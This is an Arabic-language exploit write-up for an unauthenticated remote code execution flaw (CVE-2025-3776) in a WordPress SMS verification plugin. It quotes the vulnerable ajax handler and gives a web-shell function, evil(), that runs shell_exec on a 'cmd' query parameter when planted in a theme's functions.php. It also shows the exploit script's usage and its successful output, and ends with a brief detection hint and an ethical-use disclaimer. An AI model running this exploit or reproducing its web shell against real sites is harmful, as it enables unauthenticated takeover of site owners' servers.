
إضافة ووردبريس Verification SMS with TargetSMS Plugin ذات الإصدار <= 1.5 معرضة لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE)
تنبع الثغرة من استخدام call_user_func() على مدخلات يتحكم فيها المستخدم دون تنقية مقابل قائمة بيضاء بالدوال المسموح بها. وينتج عن ذلك خلل منطقي يمكن من خلاله تنفيذ أي دالة PHP موجودة في الذاكرة دون مصادقة، مما يؤدي إلى حالة شديدة الخطورة من تنفيذ التعليمات البرمجية عن بُعد (RCE).
الملف: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
يسمح هذا الكود للمستخدمين غير المصادقين بتشغيل أي دالة موجودة في الذاكرة، بما في ذلك الدوال الخبيثة إذا تمكن المهاجم من تحميلها.
لاستغلال هذه الثغرة بنجاح، يجب أن تكون هناك دالة قابلة للاستدعاء موجودة مسبقًا في بيئة ووردبريس. وبما أن إضافات وقوالب ووردبريس يمكنها تحميل الدوال تلقائيًا، يمكن للمهاجم حقن دالته الخاصة عبر ملف functions.php في القالب النشط.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ يضمن هذا تحميل دالة
evil()في الذاكرة وإمكانية تنفيذها عبرcall_user_func().
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
إذا لم تكن هناك دالة evil() أو ما شابهها متاحة في الذاكرة:
{"status":false}
functions.php في القالب النشط (كما هو موضح).evil().بمجرد تحميل دالة خبيثة، يمكن لمهاجم غير مصادق:
ابحث عن طلبات POST متكررة إلى:
/wp-admin/admin-ajax.php?action=targetvrHHndler
مع callback=evil أو أي أسماء دوال غير متوقعة
يتم توفير هذه المعلومات لأغراض تعليمية وبحثية أخلاقية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن استخدام هذه المعلومات.
الاستغلال بواسطة: Nxploited (Khaled Alenazi)